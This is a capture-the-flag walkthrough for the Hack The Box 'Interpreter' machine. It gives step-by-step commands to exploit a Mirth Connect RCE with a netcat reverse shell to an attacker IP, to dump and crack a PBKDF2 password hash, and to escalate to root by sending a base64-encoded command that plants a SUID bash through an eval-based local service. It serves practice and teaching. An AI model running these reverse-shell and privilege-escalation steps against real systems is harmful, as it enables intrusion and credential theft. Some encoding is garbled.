Interpreter HTB Writeup


Introduction

The Interpreter box is designed to test a mix of web exploitation, cryptography awareness, Python code analysis, and privilege escalation through insecure coding practices.

At a high level, the machine simulates a healthโ€‘care integration system that uses Mirth Connect, a real-world healthcare data integration engine used for HL7 medical data processing.

๐Ÿง  Skills Needed to Root This Box

1๏ธโƒฃ Enumeration & Reconnaissance

You need to identify:

  • Open ports
  • Running services
  • Web applications
  • Hidden directories
  • Running processes
  • Local services

Typical tools used:

2๏ธโƒฃ Understanding Mirth Connect

Mirth Connect is used to process HL7 medical messages.

Key things to know:

  • It stores user credentials in a database
  • Passwords are hashed with PBKDF2โ€‘HMACโ€‘SHA256
  • Local services interact with patient data

You eventually extracted a base64 encoded credential blob.

Command: nmap -A 10.10.11.34

Command: git clone https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/

1st Terminal run the following command:

Command: python3 detection.py https://10.1XX.X.X

Command: python3 CVE-2023-37679.py -u https://10.1XX.XX.XX -c ‘nc -e /bin/bash 10.XX.XX.XX.XX 4XXX’

In the Second terminal start your listener

Command: nc -lvnp 4XXX

You will get the shell, on the 2nd terminal where you started the listener

Right now weโ€™re in a rawย ncย shell, which is fragile and has no tty. Run the following command to upgrade to a fully interactive shell

Command: /usr/bin/script -qc /bin/bash /dev/null to

Command: mysql -u mirthdb -pMirthPass123! -h 127.0.0.1 mc_bdd_prod

Commands: SHOW TABLES!,

Command: SELECT * FROM PERSON_PASSWORD

Command: SELECT * FROM PERSON

Hash to be cracked

Command: โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/โ€ฆ/Seasons/10/Interpreter/tools]
โ””โ”€# python3 -c “
import base64
blob = base64.b64decode(‘u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==’)
print(‘Full blob (hex):’, blob.hex())
print(‘First 8 bytes (salt):’, blob[:8].hex())
print(‘Remaining 32 bytes (hash):’, blob[8:].hex())

SALT 8 BYTES

PartBytesValue
Salt8bbff8b0413949da7
Derived key3262c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb

Command: echo ‘sha256:600000:bbff8b0413949da7:62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb’ > hash.txt

Command: hashcat -m 10900 hash.txt rockyou.txt Or a python script:

Command: python3 g.py

Now SSH to the machine using earlier username fetched from the table PERSON sed***:
Command: ssh sed**@10.129.188.167

Command: cat user.txt

FOR ROOT

Command: cat /usr/local/bin/notif.py

By Analyzing the code above, notice the line: @app.route(“/addPatient”, methods=[“POST”])

Convert it to base64 by entering the following command:

Command: echo -n ‘install -o root -m 4755 /bin/bash /tmp/.sh’ | base64

Command: nano file.xml and paste the following code:

Command: wget –header=”Content-Type: application/xml” –post-file=exploit.xml http://127.0.0.1:54321/addPatient -O –

Command: ls -l /tmp/.sh

Command: /tmp/.sh -p

Command: cd root,

Command: cat root.txt

Recommended Recon Workflow for This Box

Step 1 โ€” Network Scanning

nmap -sC -sV -p- TARGET_IP

Goal:

discover services
identify web servers
find unusual ports

Step 2 โ€” Web Enumeration

gobuster dir
ffuf

Example:

gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt

Look for:


Step 3 โ€” Service Enumeration

Check local services:

ss -tulpn

This is how you discover the Flask server on 54321.


Step 4 โ€” Process Enumeration

ps aux

Look for:


Step 5 โ€” File Enumeration

Search for scripts:

find / -type f -name "*.py" 2>/dev/null

Or suspicious binaries:

find / -perm -4000 2>/dev/null

Step 6 โ€” Code Review

Whenever you find source code:

cat script.py

Look for dangerous functions:

eval()
exec()
pickle.loads()
subprocess
os.system

๐Ÿšจ Vulnerabilities Demonstrated in This Box

1๏ธโƒฃ Weak Operational Security

Sensitive services running locally without proper validation.


2๏ธโƒฃ Dangerous Python Usage

Using:

eval()

on user input.


3๏ธโƒฃ Poor Input Validation

Regex filtering instead of safe templating.


4๏ธโƒฃ Privilege Separation Failure

A root process accepting untrusted data.


๐Ÿงฉ Realโ€‘World Skills This Box Teaches

โœ” Python vulnerability discovery
โœ” Hash cracking analysis
โœ” Wordlist attacks
โœ” Base64 payload crafting
โœ” Local service exploitation
โœ” Privilege escalation via SUID
โœ” Secure code auditing

Leave a Reply

Your email address will not be published. Required fields are marked *